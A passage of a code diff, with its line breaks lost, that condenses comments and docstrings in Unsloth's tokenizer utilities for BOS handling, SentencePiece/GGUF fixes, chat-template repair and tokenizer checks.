"bos_token_id", None)if bos_token_id is None:return bool(getattr(tokenizer, "add_bos_token", False))@@ -162,11 +153,7 @@ def _strip_bos_from_chat_template_text(chat_template):def _dedupe_bos_chat_template(tokenizer):- """Drop template-emitted BOS when the tokenizer already prepends one.-- A processor keeps its own copy and save_pretrained writes that one, so both must lose it.- Only the inner tokenizer can be asked: calling a processor needs an image.- """+ """Drop template-emitted BOS when the tokenizer already prepends one. A processor keeps its own copy and save_pretrained writes that one, so both must lose it. Only the inner tokenizer can be asked: calling a processor needs an image."""if not _tokenizer_auto_adds_bos(getattr(tokenizer, "tokenizer", tokenizer)):returnfor obj in _tokenizer_objects(tokenizer):@@ -198,11 +185,7 @@ def _needs_gemma4_base_bos(tokenizer, config = None):def _enable_add_bos_token(tokenizer):- """Make the tokenizer prepend <bos>, and warn if that could not be done.-- Nothing is recorded for save_pretrained: transformers 5.x drops add_bos_token from- tokenizer_config.json, so the setter's post_processor rewrite is what persists.- """+ """Make the tokenizer prepend <bos>, and warn if that could not be done. Nothing is recorded for save_pretrained: transformers 5.x drops add_bos_token from tokenizer_config.json, so the setter's post_processor rewrite is what persists."""for obj in _tokenizer_objects(tokenizer):# Already correct: keep its post_processor rather than rebuilding one.if _tokenizer_auto_adds_bos(obj):@@ -240,8 +223,7 @@ def _apply_post_load_tokenizer_fixes(return _fix_gemma4_base_bos_token(tokenizer, config = config)-# A KAGGLE_* variable is not a Kaggle kernel: the Kaggle CLI reads KAGGLE_USERNAME / KAGGLE_KEY on-# ordinary machines, and redirecting their tokenizer cache to /tmp because of it was wrong.+# A KAGGLE_* variable is not a Kaggle kernel: the Kaggle CLI reads KAGGLE_USERNAME / KAGGLE_KEY on ordinary machines, and redirecting their tokenizer cache to /tmp because of it was wrong.from .disk_utils import (KAGGLE_TMP,is_colab_environment,@@ -276,7 +258,6 @@ def try_fix_tokenizer(tokenizer, prepend = True):if token_id is None:continue- # Locate the token's id mapping in the string.find_text = f'"id":{token_id},"content":"'find_pos = tokenizer_string.find(find_text)if find_pos == -1:@@ -287,7 +268,6 @@ def try_fix_tokenizer(tokenizer, prepend = True):continuebad_token = tokenizer_string[start:end]- # Check whether the token is actually the same one; if not, edit it and replace the vocab section.if bad_token != token:bad_text = f'{find_text}{bad_token}",'good_text = f'{find_text}{token}",'@@ -353,18 +333,15 @@ def convert_to_fast_tokenizer(slow_tokenizer, temporary_location = "_unsloth_sencheck_vocab = sorted_slow_tokenizer == sorted_fast_tokenizercheck_special = slow_tokenizer.all_special_tokens == fast_tokenizer.all_special_tokens- # Failure, so return the slow_tokenizer.if not check_vocab or not check_special:return slow_tokenizerif not assert_same_tokenization(slow_tokenizer, fast_tokenizer):- # Maybe remove the prepending of __apple.kwargs["tokenizer_object"] = try_fix_tokenizer(slow_tokenizer, prepend = False)fast_tokenizer = FastTokenizer(**kwargs)if not assert_same_tokenization(slow_tokenizer, fast_tokenizer):return slow_tokenizer- # tokenizer.model is missing too.name = slow_tokenizer.name_or_path.replace("/", "_")if not os.path.exists(temporary_location):os.makedirs(temporary_location)@@ -443,7 +420,6 @@ def assert_same_tokenization(slow_tokenizer, fast_tokenizer):)all_special_tokens = list(set(special_tokens + slow_tokenizer.all_special_tokens))- # Remove replacement char for false positivereplacement_char = b"\xc3\xaf\xc2\xbf\xc2\xbd".decode("utf-8")all_special_tokens = [x for x in all_special_tokens if x != replacement_char]@@ -500,8 +476,7 @@ def assert_same_tokenization(slow_tokenizer, fast_tokenizer):return check_chat_template and check_special_tokensexcept:- # Sometimes a tokenizer has weird tokens, causing a combined tokenization to fail; temporarily- # disabled for CodeLlama tokenizers (#292).+ # Sometimes a tokenizer has weird tokens, causing a combined tokenization to fail; temporarily disabled for CodeLlama tokenizers (#292).if slow_tokenizer.__repr__().split("(", 1)[0] in IGNORED_TOKENIZER_CHECKING:return check_chat_templateelse:@@ -514,8 +489,7 @@ def fix_sentencepiece_tokenizer(token_mapping,temporary_location = "_unsloth_sentencepiece_temp",):- # The sentencepiece tokenizer must be edited manually; see google/sentencepiece#121. Only works for- # SentencePiece <= 3.20.3.+ # The sentencepiece tokenizer must be edited manually; see google/sentencepiece#121. Only works for SentencePiece <= 3.20.3.try:from transformers.convert_slow_tokenizer import import_protobufsentencepiece_model_pb2 = import_protobuf()@@ -537,15 +511,12 @@ def fix_sentencepiece_tokenizer(if not os.path.exists(temporary_location):os.makedirs(temporary_location)- # Fresh per-call subdir so concurrent or repeated calls cannot clobber each other's tokenizer.model- # or leak stale files, without deleting anything the caller owns.+ # Fresh per-call subdir so concurrent or repeated calls cannot clobber each other's tokenizer.model or leak stale files, without deleting anything the caller owns.temporary_location = tempfile.mkdtemp(prefix = "tokenizer_", dir = temporary_location)old_tokenizer.save_pretrained(temporary_location)- # Only sentencepiece tokenizers write tokenizer.model, so check after the save.if not os.path.isfile(f"{temporary_location}/tokenizer.model"):- # new_tokenizer was built in memory and never references this dir, so drop it.shutil.rmtree(temporary_location, ignore_errors = True)return new_tokenizer@@ -554,12 +525,10 @@ def fix_sentencepiece_tokenizer(new_tokenizer.save_pretrained(temporary_location)- # Correct the old tokenizer's .model file.for old_token, new_token in token_mapping.items():ids = old_tokenizer([old_token], add_special_tokens = False).input_idsids = ids[0]if len(ids) != 1:- # Skip this token!print(f"Skip mapping {old_token} to {new_token} since {new_token} is already in the tokenizer!")@@ -583,22 +552,13 @@ def fix_sentencepiece_tokenizer(eos_token = new_tokenizer.eos_token,pad_token = new_tokenizer.pad_token,)- # vocab_file points here, so the dir must outlive the tokenizer (a later save_pretrained copies the- # patched tokenizer.model from it); reclaim it on GC.+ # vocab_file points here, so the dir must outlive the tokenizer (a later save_pretrained copies the patched tokenizer.model from it); reclaim it on GC.weakref.finalize(tokenizer, shutil.rmtree, temporary_location, ignore_errors = True)return tokenizerdef fix_sentencepiece_gguf(saved_location):- """- Fix sentencepiece tokenizers that didn't extend the vocab with user-defined- tokens. Inspired by llama.cpp's convert_hf_to_gguf.py.-- Also retypes special tokens (e.g. Gemma 3's <start_of_turn>/<end_of_turn>)- that exist in the sentencepiece model but are typed NORMAL instead of CONTROL.- NORMAL writes token_type=1 to GGUF, breaking llama.cpp chat inference since- parse_special only matches CONTROL (type=3).- """+ """Fix sentencepiece tokenizers that didn't extend the vocab with user-defined tokens. Inspired by llama.cpp's convert_hf_to_gguf.py. Also retypes special tokens (e.g. Gemma 3's <start_of_turn>/<end_of_turn>) that exist in the sentencepiece model but are typed NORMAL instead of CONTROL: NORMAL writes token_type=1 to GGUF, breaking llama.cpp chat inference since parse_special only matches CONTROL (type=3)."""from copy import deepcopyimport sys@@ -628,8 +588,7 @@ def fix_sentencepiece_gguf(saved_location):tokenizer_file.ParseFromString(open(f"{saved_location}/tokenizer.model", "rb").read())sentence_piece_size = len(tokenizer_file.pieces)- # Build a set of token IDs marked special in tokenizer.json: these must use CONTROL type in the- # sentencepiece model so llama.cpp writes them as CONTROL (type=3) in the GGUF token_type array.+ # Build a set of token IDs marked special in tokenizer.json: these must use CONTROL type in the sentencepiece model so llama.cpp writes them as CONTROL (type=3) in the GGUF token_type array.special_token_ids = set()if os.path.isfile(f"{saved_location}/tokenizer.json"):with open(f"{saved_location}/tokenizer.json", "r", encoding = "utf-8") as f:@@ -639,8 +598,7 @@ def fix_sentencepiece_gguf(saved_location):if entry.get("special", False) and isinstance(token_id, int):special_token_ids.add(token_id)- # Fix existing sentencepiece tokens marked special in tokenizer.json but typed NORMAL instead of- # CONTROL in the sentencepiece model.+ # Fix existing sentencepiece tokens marked special in tokenizer.json but typed NORMAL instead of CONTROL in the sentencepiece model.patched = 0for token_id in special_token_ids:if 0 <= token_id < sentence_piece_size:@@ -670,7 +628,6 @@ def fix_sentencepiece_gguf(saved_location):added_tokens_json = dict(sorted(added_tokens_json.items(), key = lambda item: item[1]))new_size = sentence_piece_size + len(added_tokens_json)- # Confirm added_tokens_json is correct.added_tokens_ids = np.array(list(added_tokens_json.values()))_real_added_tokens_ids = added_tokens_idsif len(added_tokens_ids) < 2:@@ -688,7 +645,6 @@ def fix_sentencepiece_gguf(saved_location):file.write(tokenizer_file.SerializeToString())return- # Edit sentencepiece tokens with added_tokens_json.logger.warning(f"Unsloth: Extending {saved_location}/tokenizer.model with added_tokens.json.\n"f"Originally tokenizer.model is of size ({sentence_piece_size}).\n"@@ -732,11 +688,9 @@ def _load_correct_tokenizer(elif cache_dir == "huggingface_tokenizers_cache":# This default name is Colab/Kaggle-only; elsewhere use the HF default cache.cache_dir = None- # else: keep a caller-supplied cache_dir so the tokenizer loads from the prefetch-warmed dir instead- # of risking an in-process Hub/Xet transfer.+ # else: keep a caller-supplied cache_dir so the tokenizer loads from the prefetch-warmed dir instead of risking an in-process Hub/Xet transfer.- # Try the slow tokenizer first and fall back to fast only, mainly to solve Deepseek models with no- # tokenizer.model file.+ # Try the slow tokenizer first and fall back to fast only, mainly to solve Deepseek models with no tokenizer.model file.slow_tokenizer = Nonetry:slow_tokenizer = AutoTokenizer.from_pretrained(@@ -754,7 +708,6 @@ def _load_correct_tokenizer()except:slow_tokenizer = None- # Reason unknown.if type(slow_tokenizer) is bool:slow_tokenizer = None@@ -782,7 +735,6 @@ def _load_correct_tokenizer(if hasattr(fast_tokenizer, "add_eos_token") and hasattr(slow_tokenizer, "add_eos_token"):fast_tokenizer.add_eos_token = slow_tokenizer.add_eos_token- # Confirm whether slow and fast are equivalent.if assert_same_tokenization(slow_tokenizer, fast_tokenizer):return _apply_post_load_tokenizer_fixes(fast_tokenizer, fix_tokenizer, config)else:@@ -798,15 +750,7 @@ def _load_correct_tokenizer(def _fix_pad_token(tokenizer):- """Heal a bad/missing pad_token before chat-template repair.-- Delegates to unsloth_zoo's shared fix_pad_token (single source of truth); against- an older unsloth_zoo without it, this is a no-op (a pad-named token like- <|vision_pad|> is already a valid pad). allow_add=False keeps this side-effect- free: there is no model here to resize embeddings, so a brand new pad token is- never added - the later model-aware patch_tokenizer call finishes the job and is- idempotent.- """+ """Heal a bad/missing pad_token before chat-template repair. Delegates to unsloth_zoo's shared fix_pad_token (single source of truth); against an older unsloth_zoo without it, this is a no-op (a pad-named token like <|vision_pad|> is already a valid pad). allow_add=False keeps this side-effect free: there is no model here to resize embeddings, so a brand new pad token is never added, and the later model-aware patch_tokenizer call finishes the job and is idempotent."""if tokenizer is None:return tokenizertry:@@ -843,7 +787,6 @@ def load_correct_tokenizer(if fix_tokenizer:_fix_pad_token(tokenizer)- # Fixup the tokenizer's chat_template.old_chat_template = getattr(tokenizer, "chat_template", None)# Ignore mistral type models, which have no add_generation_prompt, and check Llama-2 old style models too.@@ -852,7 +795,6 @@ def load_correct_tokenizer():chat_template = old_chat_template- # Also check Llama-2 old style modelselif (old_chat_template is not Noneand "[/INST]" in old_chat_template@@ -871,8 +813,7 @@ def load_correct_tokenizer(passtokenizer.chat_template = chat_template- # Saving restores sentencepiece assets from the repo name alone, which carries no branch, so stamp- # it for the save path. Imported late to break a circular import.+ # Saving restores sentencepiece assets from the repo name alone, which carries no branch, so stamp it for the save path. Imported late to break a circular import.from .models.loader_utils import _mark_loaded_revision_mark_loaded_revision(tokenizer, revision)@@ -890,10 +831,7 @@ def _find_end_position(endfor = None,endif = None,):- """Rightmost {% endfor %}/{% endif %} (any dash variant), as a dict- with start/end/text/dash_left/dash_right. Tokens inside Jinja comments- are ignored. `endfor`/`endif` kwargs kept for back-compat, ignored."""- # Space-pad comments so positions still map 1:1 to the original.+ """Rightmost {% endfor %}/{% endif %} (any dash variant), as a dict with start/end/text/dash_left/dash_right. Tokens inside Jinja comments are ignored. `endfor`/`endif` kwargs kept for back-compat, ignored."""scrubbed = _RE_JINJA_COMMENT.sub(lambda m: " " * len(m.group(0)), template)endfor_matches = list(_RE_ENDFOR.finditer(scrubbed))endif_matches = list(_RE_ENDIF.finditer(scrubbed))@@ -913,13 +851,7 @@ def _find_end_position(def _template_ends_with_toplevel_for(chat_template):- """Return True if the last structural node at the template's top level is- a For (message-iteration) loop, ignoring trailing pure-whitespace Output- nodes. Unwraps benign outer-If guards (no else branch, not testing- add_generation_prompt) so that templates like- ``{% if messages %}{% for ... %}{% endfor %}{% endif %}`` are still- repairable. Rejects real structural wrappers (e.g. Qwen3-Guard with- else branches)."""+ """Return True if the last structural node at the template's top level is a For (message-iteration) loop, ignoring trailing pure-whitespace Output nodes. Unwraps benign outer-If guards (no else branch, not testing add_generation_prompt) so templates like ``{% if messages %}{% for ... %}{% endfor %}{% endif %}`` are still repairable. Rejects real structural wrappers (e.g. Qwen3-Guard with else branches)."""try:import jinja2import jinja2.nodes@@ -953,9 +885,7 @@ def _template_ends_with_toplevel_for(chat_template):def _if_body_emits_content(if_node):- """True if the If's body contains any Output node (directly or nested).- Distinguishes a real generation block from a header guard that only- does `{% set ... %}`."""+ """True if the If's body contains any Output node (directly or nested). Distinguishes a real generation block from a header guard that only does `{% set ... %}`."""import jinja2.nodesfor node in if_node.body:@@ -967,11 +897,7 @@ def _if_body_emits_content(if_node):def _has_add_generation_prompt_block(chat_template):- """True if the template has a *positive* `{% if add_generation_prompt %}`- gate whose body emits output. Rejects header guards like- `{% if not add_generation_prompt is defined %}{% set ... %}{% endif %}`- that reference the name but emit nothing. AST-based; string-scan- fallback if Jinja fails to parse."""+ """True if the template has a *positive* `{% if add_generation_prompt %}` gate whose body emits output. Rejects header guards like `{% if not add_generation_prompt is defined %}{% set ... %}{% endif %}` that reference the name but emit nothing. AST-based; string-scan fallback if Jinja fails to parse."""try:import jinja2import jinja2.nodes@@ -980,8 +906,7 @@ def _has_add_generation_prompt_block(chat_template):return "if add_generation_prompt" in chat_template and "%}" in chat_templatefor if_node in ast.find_all(jinja2.nodes.If):test = if_node.test- # Reject negated gates: `{% if not add_generation_prompt %}` fires when agp=False, so it is not a- # generation block even if it emits.+ # Reject negated gates: `{% if not add_generation_prompt %}` fires when agp=False, so it is not a generation block even if it emits.if isinstance(test, jinja2.nodes.Not):continue# find_all skips the test root, so check bare Name tests explicitly.@@ -998,27 +923,14 @@ def _has_add_generation_prompt_block(chat_template):return False-# Sentinels for _derive_assistant_prefix_by_render: they diverge at char 0 so commonprefix cannot-# absorb them, and the long random tail makes collision with real template literals negligible.+# Sentinels for _derive_assistant_prefix_by_render: they diverge at char 0 so commonprefix cannot absorb them, and the long random tail makes collision with real template literals negligible._RENDER_DIFF_SENTINEL_A = "AAAA_0123456789_UNSLOTH_RENDER_DIFF_SENTINEL"_RENDER_DIFF_SENTINEL_B = "BBBB_0123456789_UNSLOTH_RENDER_DIFF_SENTINEL"_RENDER_DIFF_SENTINEL_C = "CCCC_0123456789_UNSLOTH_RENDER_DIFF_SENTINEL"def _derive_assistant_prefix_by_render(chat_template, is_sharegpt = False):- """Return the assistant-turn prefix the template emits, derived by- rendering two dialogs that differ only in assistant content: the common- prefix of their tails (after the base [user]-only render) is what the- template emits for an assistant turn. None if any guard fails.-- Works for Llama-3 / Gemma / Phi-3 and other non-ChatML shapes; the- template is its own ground truth.-- Known limitation: an `eos-on-non-last` pattern (turn-end sentinel only- emitted for non-last messages) would produce a consistent but wrong- prefix that `_validate_patched_template` can't catch. No real-world- template is known to use this.- """+ """Return the assistant-turn prefix the template emits, derived by rendering two dialogs that differ only in assistant content: the common prefix of their tails (after the base [user]-only render) is what the template emits for an assistant turn. None if any guard fails. Works for Llama-3 / Gemma / Phi-3 and other non-ChatML shapes; the template is its own ground truth. Known limitation: an `eos-on-non-last` pattern (turn-end sentinel only emitted for non-last messages) would produce a consistent but wrong prefix that `_validate_patched_template` cannot catch, though no real-world template is known to use this."""try:from jinja2.sandbox import SandboxedEnvironmentexcept Exception:@@ -1028,7 +940,6 @@ def _derive_assistant_prefix_by_render(chat_template, is_sharegpt = False):base_msgs = [{"from": "human", "value": "Hi"}]sent_a_msgs = base_msgs + [{"from": "gpt", "value": _RENDER_DIFF_SENTINEL_A}]sent_b_msgs = base_msgs + [{"from": "gpt", "value": _RENDER_DIFF_SENTINEL_B}]- # User-role cross-check (Guard C below).sent_c_msgs = base_msgs + [{"from": "human", "value": _RENDER_DIFF_SENTINEL_C}]else:base_msgs = [{"role": "user", "content": "Hi"}]@@ -1036,8 +947,7 @@ def _derive_assistant_prefix_by_render(chat_template, is_sharegpt = False):sent_b_msgs = base_msgs + [{"role": "assistant", "content": _RENDER_DIFF_SENTINEL_B}]sent_c_msgs = base_msgs + [{"role": "user", "content": _RENDER_DIFF_SENTINEL_C}]- # Strip trailing whitespace/comments after the last endfor/endif: they appear after the message loop- # and would break Guard A, and the splice in _fix_chat_template drops them too.+ # Strip trailing whitespace/comments after the last endfor/endif: they appear after the message loop and would break Guard A, and the splice in _fix_chat_template drops them too.probe_template = chat_templateend = _find_end_position(chat_template)if end is not None:@@ -1045,8 +955,7 @@ def _derive_assistant_prefix_by_render(chat_template, is_sharegpt = False):if _RE_JINJA_COMMENT.sub("", after).strip() == "":probe_template = chat_template[: end["end"]]- # Sandboxed: probe renders run at load time, before the user calls apply_chat_template, and- # SandboxedEnvironment blocks attribute-chain exploits.+ # Sandboxed: probe renders run at load time, before the user calls apply_chat_template, and SandboxedEnvironment blocks attribute-chain exploits.try:env = SandboxedEnvironment(autoescape = False,@@ -1059,8 +968,7 @@ def _derive_assistant_prefix_by_render(chat_template, is_sharegpt = False):except Exception:return None- # Best-effort: alternation-enforcing templates (Gemma's raise_exception) fail on [user, user], which- # is a positive signal for Guard C rather than a probe failure.+ # Best-effort: alternation-enforcing templates (Gemma's raise_exception) fail on [user, user], which is a positive signal for Guard C rather than a probe failure.out_user_c = Nonetry:out_user_c = tmpl.render(messages = sent_c_msgs, add_generation_prompt = False)@@ -1098,8 +1006,7 @@ def _derive_assistant_prefix_by_render(chat_template, is_sharegpt = False):def _fix_chat_template(chat_template, is_sharegpt = False):- # Fast path: an {% if add_generation_prompt %} block already exists. This catches cases the old- # string-based check would miss, such as both-side dashes or a block nested inside an If/For.+ # Fast path: an {% if add_generation_prompt %} block already exists. This catches cases the old string-based check would miss, such as both-side dashes or a block nested inside an If/For.if _has_add_generation_prompt_block(chat_template):return chat_template@@ -1112,8 +1019,7 @@ def _fix_chat_template(chat_template, is_sharegpt = False):dash_r = "-" if end["dash_right"] else ""open_tag = lambda body: "{%" + dash_l + " " + body + " " + dash_r + "%}"- # Case 1: the template ends with a single trailing {{ expr }} that is the generation prefix, so wrap- # it in an {% if add_generation_prompt %} block.+ # Case 1: the template ends with a single trailing {{ expr }} that is the generation prefix, so wrap it in an {% if add_generation_prompt %} block.if ("{%" + dash_l + " if" not in after_endforand "{%" + dash_l + " set " not in after_endfor@@ -1125,20 +1031,16 @@ def _fix_chat_template(chat_template, is_sharegpt = False):wrapped = open_tag("if add_generation_prompt") + after_endfor + open_tag("endif")return chat_template[: end["end"]] + wrapped- # Case 2 (#4150): the template ends at {% endfor %} with only whitespace or comments left, so inject- # an {% if add_generation_prompt %} block with the assistant prefix derived by render-diff.+ # Case 2 (#4150): the template ends at {% endfor %} with only whitespace or comments left, so inject an {% if add_generation_prompt %} block with the assistant prefix derived by render-diff.if _RE_JINJA_COMMENT.sub("", after_endfor).strip() == "" and _template_ends_with_toplevel_for(chat_template):- # No redundant "agp not in scrubbed" check: the fast path already confirmed no POSITIVE block, and a- # mere reference (header guard) should still get repaired.+ # No redundant "agp not in scrubbed" check: the fast path already confirmed no POSITIVE block, and a mere reference (header guard) should still get repaired.assistant_prefix = _derive_assistant_prefix_by_render(chat_template, is_sharegpt)- # Dual-probe: dict/list callers do not know the shape up front.if assistant_prefix is None and not is_sharegpt:assistant_prefix = _derive_assistant_prefix_by_render(chat_template, is_sharegpt = True)if assistant_prefix is None:return chat_template- # Escape for a double-quoted Jinja string literal.escaped = (assistant_prefix.replace("\\", "\\\\").replace('"', '\\"')@@ -1160,9 +1062,7 @@ def _is_strict_chat_template_mode():def _name_is_local_path(name_or_path):- """True if name_or_path refers to an existing local directory. Used to- tailor the warning message: for local paths the user cannot 'file a bug- report to the maintainers of <path>' since that path is their own."""+ """True if name_or_path refers to an existing local directory. Used to tailor the warning message: for local paths the user cannot 'file a bug report to the maintainers of <path>' since that path is their own."""if not name_or_path:return Falsetry:@@ -1178,8 +1078,7 @@ def _format_chat_template_message(local_path_source = None,strict = False,):- """Build a user-facing warning/error message that points at the right- responsible party (user's downstream tool vs. upstream model maintainer)."""+ """Build a user-facing warning/error message that points at the right responsible party (user's downstream tool vs. upstream model maintainer)."""local = _name_is_local_path(local_path_source if local_path_source is not None else name_or_path)@@ -1230,10 +1129,7 @@ def _format_chat_template_message(def _validate_patched_template(tokenizer, patched_template, is_sharegpt):- """Render the just-patched template with and without- add_generation_prompt, and confirm the patched output responds to the- flag by appending (not replacing) content. Returns True if validation- passes."""+ """Render the just-patched template with and without add_generation_prompt, and confirm the patched output responds to the flag by appending (not replacing) content. Returns True if validation passes."""msgs = ([{"from": "human", "value": "Hi"}] if is_sharegpt else [{"role": "user", "content": "Hi"}])@@ -1261,19 +1157,16 @@ def _validate_patched_template(tokenizer, patched_template, is_sharegpt):tokenizer.chat_template = originalexcept Exception:pass # best-effort restore- # Contract after a successful repair: the two renders differ, and the "yes" render is a strict- # extension of the "no" render, since content was only appended in the new block.+ # Contract after a successful repair: the two renders differ, and the "yes" render is a strict extension of the "no" render, since content was only appended in the new block.return yes != no and yes.startswith(no)def _repair_string_template(tokenizer, chat_template, is_sharegpt):- """Core string-template repair. Returns the repaired template on success,- or None if repair was not possible / failed validation."""+ """Core string-template repair. Returns the repaired template on success, or None if repair was not possible / failed validation."""candidate = _fix_chat_template(chat_template, is_sharegpt = is_sharegpt)if not _has_add_generation_prompt_block(candidate):return None- # Validate with the caller's is_sharegpt first; if that fails, the dual-probe in- # _fix_chat_template may have fallen back to the other schema, so try the opposite one.+ # Validate with the caller's is_sharegpt first; if that fails, the dual-probe in _fix_chat_template may have fallen back to the other schema, so try the opposite one.if _validate_patched_template(tokenizer, candidate, is_sharegpt):return candidateif _validate_patched_template(tokenizer, candidate, not is_sharegpt):@@ -1282,16 +1175,10 @@ def _repair_string_template(tokenizer, chat_template, is_sharegpt):def _fix_chat_template_for_tokenizer(tokenizer, chat_template):- """Entry point for a string chat_template. Runs the no==yes diagnostic,- attempts repair if needed, and returns the (possibly patched) template.-- On repair failure, the behavior is controlled by- UNSLOTH_STRICT_CHAT_TEMPLATE: warn + return original (default) or raise- RuntimeError (strict)."""+ """Entry point for a string chat_template. Runs the no==yes diagnostic, attempts repair if needed, and returns the (possibly patched) template. On repair failure the behavior is controlled by UNSLOTH_STRICT_CHAT_TEMPLATE: warn + return original (default) or raise RuntimeError (strict)."""name = getattr(tokenizer, "name_or_path", "unknown")source_path = getattr(tokenizer, "_source_path", name)- # Detect ShareGPT vs HF style by probing apply_chat_template.is_sharegpt = Nonetry:tokenizer.apply_chat_template(@@ -1334,14 +1221,11 @@ def _fix_chat_template_for_tokenizer(tokenizer, chat_template):return chat_templateif no != yes:- # The template already responds to the flag; leave it as is.return chat_template- # no == yes: the template ignores add_generation_prompt, so try to repair. It may have the block- # while the output does not change, the "wasn't provided correctly" case.+ # no == yes: the template ignores add_generation_prompt, so try to repair. It may have the block while the output does not change, the "wasn't provided correctly" case.if _has_add_generation_prompt_block(chat_template):- # Template has the block but it does not change output. This is the "wasn't provided correctly" case- # from the pre-warn code path.+ # Template has the block but it does not change output. This is the "wasn't provided correctly" case from the pre-warn code path.strict = _is_strict_chat_template_mode()msg = _format_chat_template_message(name,@@ -1380,15 +1264,7 @@ def _fix_chat_template_for_tokenizer(tokenizer, chat_template):class _VariantTokenizerProxy:- """Single-variant view of a multi-variant tokenizer. Routes each variant- through `_fix_chat_template_for_tokenizer` so the full contract- (is_sharegpt probe, no==yes, warn/strict, `_validate_patched_template`)- applies instead of jumping straight to structural repair.-- `apply_chat_template` swaps `base.chat_template` to the variant before- calling so tokenizer globals (bos_token, filters, raise_exception) are- preserved; falls back to bare Jinja for read-only stubs.- """+ """Single-variant view of a multi-variant tokenizer. Routes each variant through `_fix_chat_template_for_tokenizer` so the full contract (is_sharegpt probe, no==yes, warn/strict, `_validate_patched_template`) applies instead of jumping straight to structural repair. `apply_chat_template` swaps `base.chat_template` to the variant before calling so tokenizer globals (bos_token, filters, raise_exception) are preserved; falls back to bare Jinja for read-only stubs."""def __init__(self,@@ -1447,8 +1323,7 @@ def fix_chat_template(tokenizer):if chat_template is None:return None- # Multi-variant dict (Hermes-3 {default, tool_use}): route each variant through the full repair- # contract via _VariantTokenizerProxy.+ # Multi-variant dict (Hermes-3 {default, tool_use}): route each variant through the full repair contract via _VariantTokenizerProxy.if isinstance(chat_template, dict):fixed = {}for key, tmpl in chat_template.items():@@ -1459,7 +1334,6 @@ def fix_chat_template(tokenizer):fixed[key] = _fix_chat_template_for_tokenizer(proxy, tmpl)return fixed- # List-of-dicts form, the older HF multi-template style.if isinstance(chat_template, list):fixed = []for item in chat_template:@@ -1492,10 +1366,8 @@ def check_tokenizer(_reload = True,cache_dir = None,):- # Check the tokenizer for out of bounds ids, mainly for berkeley-nest/Starling-LM-7B-alpha where- # <sep> had token id=32002 (its discussion 25); the Rust fast tokenizer seems to break things.+ # Check the tokenizer for out of bounds ids, mainly for berkeley-nest/Starling-LM-7B-alpha where <sep> had token id=32002 (its discussion 25); the Rust fast tokenizer seems to break things.- # Some of them are ignored.if tokenizer.__repr__().split("(", 1)[0] in IGNORED_TOKENIZER_CHECKING:return tokenizer@@ -1524,12 +1396,10 @@ def check_tokenizer(x for x in can_be_removed1 if x in tokenizer._added_tokens_encoder.keys()]- # Check of extra tokens can in fact we removed!can_be_removed = (len(can_be_removed1) == len(bad_tokens)) and (len(can_be_removed2) == len(bad_tokens))- # Check if sep_token or other generic typesremove_generic = Falsetry_mapper = []if not can_be_removed:@@ -1550,17 +1420,14 @@ def check_tokenizer(can_be_removed1 = bad_tokensif can_be_removed:- # Yes, it can be fixed.for j, bad_token in enumerate(can_be_removed1):remove_id = tokenizer._added_tokens_encoder[bad_token]del tokenizer._added_tokens_decoder[remove_id]del tokenizer._added_tokens_encoder[bad_token]if remove_generic and (try_removal[j] == bad_token):- # Remove sep token for examplesetattr(tokenizer, try_mapper[j], None)setattr(tokenizer, try_mapper[j] + "_id", None)- # Confirm one more time.if max(tokenizer.added_tokens_decoder.keys()) < max_embedding_size:logger.warning_once(f"Unsloth loaded a broken tokenizer `{model_name}`, but managed to repair it!\n"@@ -1569,23 +1436,19 @@ def check_tokenizer()return convert_to_fast_tokenizer(tokenizer)- # Failure.raise RuntimeError(f"Unsloth tried to load `{model_name}`, but cannot succeed.\n"f"Tokens {bad_tokens} with ids {bad_indices} exceeds the max vocab size of {max_embedding_size}.\n"f"Fix your tokenizer since it'll perform out of bounds memory accesses.")- # Reuse a caller-supplied cache_dir (the warmed cache) for the repair reload; else the Colab/Kaggle- # sentinel, as load_correct_tokenizer does.+ # Reuse a caller-supplied cache_dir (the warmed cache) for the repair reload; else the Colab/Kaggle sentinel, as load_correct_tokenizer does.reload_cache_dir = cache_dirif reload_cache_dir is None and (IS_COLAB_ENVIRONMENT or IS_KAGGLE_ENVIRONMENT):reload_cache_dir = "huggingface_tokenizers_cache"# Sometimes the slow tokenizer does not work, e.g. Deepseek, but it can also fix things.- # Sometimes slow tokenizer does not work like Deepseektry:- # Try slow tokenizer which can fix things!tokenizer = AutoTokenizer.from_pretrained(model_name,model_max_length = model_max_length,@@ -1609,7 +1472,6 @@ def check_tokenizer()breakexcept:- # The tokenizer has out of bounds issues and the slow version cannot be loaded.logger.warning_once("Unsloth: Tokenizer is most likely buggy, and Unsloth failed to repair it.\n""It will still work, but beware of out of bounds memory accesses.\n"@@ -1620,35 +1482,7 @@ def check_tokenizer(def get_tokenizer_info(tokenizer) -> dict:- """Return a concise diagnostic summary of a tokenizer instance.-- Collects key properties into a JSON-safe dict for logging, debugging, or the- Unsloth UI. Missing attributes fall back to ``None`` rather than raising.-- Example output::-- {- "name_or_path": "unsloth/Llama-3.2-1B-Instruct",- "tokenizer_class": "PreTrainedTokenizerFast",- "is_fast": True,- "vocab_size": 128000,- "added_tokens_count": 256,- "model_max_length": 131072,- "padding_side": "right",- "bos_token": "<|begin_of_text|>",- "eos_token": "<|eot_id|>",- "pad_token": "<|finetune_right_pad_id|>",- "unk_token": None,- "has_chat_template": True,- "special_tokens_count": 3,- }-- Args:- tokenizer: Any HuggingFace ``PreTrainedTokenizer(Fast)`` instance.-- Returns:- A ``dict`` of tokenizer properties.- """+ """Return a concise diagnostic summary of a tokenizer instance, as a JSON-safe dict for logging, debugging or the Unsloth UI: name_or_path, tokenizer_class, is_fast, vocab_size, added_tokens_count, model_max_length, padding_side, bos/eos/pad/unk tokens, has_chat_template and special_tokens_count. Missing attributes fall back to ``None`` rather than raising."""return {"name_or_path": getattr(tokenizer, "name_or_path", None),"tokenizer_class": type(tokenizer).__name__,@@ -1678,27 +1512,7 @@ try:except:def neftune_post_forward_hook(module, input, output):- """- Implements the NEFTune forward pass for the model using forward hooks. Note this works only for- torch.nn.Embedding layers. This method is slightly adapted from the original source code- that can be found here: https://github.com/neelsjain/NEFTune-- Simply add it to your model as follows:- ```python- model = ...- model.embed_tokens.neftune_noise_alpha = 0.1- model.embed_tokens.register_forward_hook(neftune_post_forward_hook)- ```-- Args:- module (`torch.nn.Module`):- The embedding module where the hook is attached. Note that you need to set- `module.neftune_noise_alpha` to the desired noise alpha value.- input (`torch.Tensor`):- The input tensor to the model.- output (`torch.Tensor`):- The output tensor of the model (i.e. the embeddings).- """+ """Implements the NEFTune forward pass for the model using forward hooks, for torch.nn.Embedding layers only. Adapted from https://github.com/neelsjain/NEFTune. Attach with ``model.embed_tokens.neftune_noise_alpha = 0.1`` then 